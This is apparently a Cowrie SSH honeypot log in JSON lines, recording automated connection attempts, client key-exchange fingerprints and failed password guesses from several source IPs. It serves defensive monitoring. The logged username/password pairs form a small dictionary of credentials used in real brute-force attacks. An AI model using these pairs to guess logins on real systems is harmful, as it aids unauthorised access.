{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:07.587590Z","src_ip":"5.196.136.131","session":"8a5a58881dcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":43878,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d43249adb0a","protocol":"ssh","message":"New connection: 91.92.40.176:43878 (10.17.0.5:22) [session: 3d43249adb0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:09.023049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:09.026474Z","src_ip":"91.92.40.176","session":"3d43249adb0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:09.123829Z","src_ip":"91.92.40.176","session":"3d43249adb0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:09.414942Z","src_ip":"91.92.40.176","session":"3d43249adb0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:10.513532Z","src_ip":"91.92.40.176","session":"3d43249adb0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":53052,"dst_ip":"10.17.0.5","dst_port":22,"session":"912e9fa03ac5","protocol":"ssh","message":"New connection: 162.254.35.142:53052 (10.17.0.5:22) [session: 912e9fa03ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:10.520907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:10.525123Z","src_ip":"162.254.35.142","session":"912e9fa03ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":52186,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa7daffe0023","protocol":"ssh","message":"New connection: 5.196.136.131:52186 (10.17.0.5:22) [session: aa7daffe0023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:10.571788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:10.576027Z","src_ip":"5.196.136.131","session":"aa7daffe0023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:10.591045Z","src_ip":"162.254.35.142","session":"912e9fa03ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:10.674175Z","src_ip":"5.196.136.131","session":"aa7daffe0023","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"curve","password":"curve999","message":"login attempt [curve/curve999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:10.791475Z","src_ip":"162.254.35.142","session":"912e9fa03ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:10.948680Z","src_ip":"5.196.136.131","session":"aa7daffe0023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:11.861523Z","src_ip":"162.254.35.142","session":"912e9fa03ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:12.032431Z","src_ip":"5.196.136.131","session":"aa7daffe0023","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":28957,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a7067603a9d","protocol":"ssh","message":"New connection: 5.196.136.131:28957 (10.17.0.5:22) [session: 0a7067603a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:14.944362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:14.953607Z","src_ip":"5.196.136.131","session":"0a7067603a9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:15.039324Z","src_ip":"5.196.136.131","session":"0a7067603a9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:15.295948Z","src_ip":"5.196.136.131","session":"0a7067603a9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:16.383577Z","src_ip":"5.196.136.131","session":"0a7067603a9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":16309,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bc2de371b99","protocol":"ssh","message":"New connection: 5.196.136.131:16309 (10.17.0.5:22) [session: 0bc2de371b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:19.391666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:19.395554Z","src_ip":"5.196.136.131","session":"0bc2de371b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.180.136","src_port":59072,"dst_ip":"10.17.0.5","dst_port":22,"session":"b866566a69ab","protocol":"ssh","message":"New connection: 165.22.180.136:59072 (10.17.0.5:22) [session: b866566a69ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:19.453970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:19.458618Z","src_ip":"165.22.180.136","session":"b866566a69ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:19.466157Z","src_ip":"165.22.180.136","session":"b866566a69ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:19.472701Z","src_ip":"5.196.136.131","session":"0bc2de371b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2021@","message":"login attempt [root/unitedstates2021@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:19.487312Z","src_ip":"165.22.180.136","session":"b866566a69ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:19.712960Z","src_ip":"5.196.136.131","session":"0bc2de371b99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:20.493856Z","src_ip":"165.22.180.136","session":"b866566a69ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:20.792102Z","src_ip":"5.196.136.131","session":"0bc2de371b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":41609,"dst_ip":"10.17.0.5","dst_port":22,"session":"f93fff3280fb","protocol":"ssh","message":"New connection: 5.196.136.131:41609 (10.17.0.5:22) [session: f93fff3280fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:23.928741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:23.932382Z","src_ip":"5.196.136.131","session":"f93fff3280fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:24.010262Z","src_ip":"5.196.136.131","session":"f93fff3280fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:24.245285Z","src_ip":"5.196.136.131","session":"f93fff3280fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:25.378700Z","src_ip":"5.196.136.131","session":"f93fff3280fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":17804,"dst_ip":"10.17.0.5","dst_port":22,"session":"53fd94587351","protocol":"ssh","message":"New connection: 5.196.136.131:17804 (10.17.0.5:22) [session: 53fd94587351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:28.378031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:28.381616Z","src_ip":"5.196.136.131","session":"53fd94587351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:28.458958Z","src_ip":"5.196.136.131","session":"53fd94587351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:28.695007Z","src_ip":"5.196.136.131","session":"53fd94587351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:29.775470Z","src_ip":"5.196.136.131","session":"53fd94587351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":38818,"dst_ip":"10.17.0.5","dst_port":22,"session":"456f4aff753d","protocol":"ssh","message":"New connection: 5.196.136.131:38818 (10.17.0.5:22) [session: 456f4aff753d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:32.763910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:32.767628Z","src_ip":"5.196.136.131","session":"456f4aff753d","protocol":"ssh"}
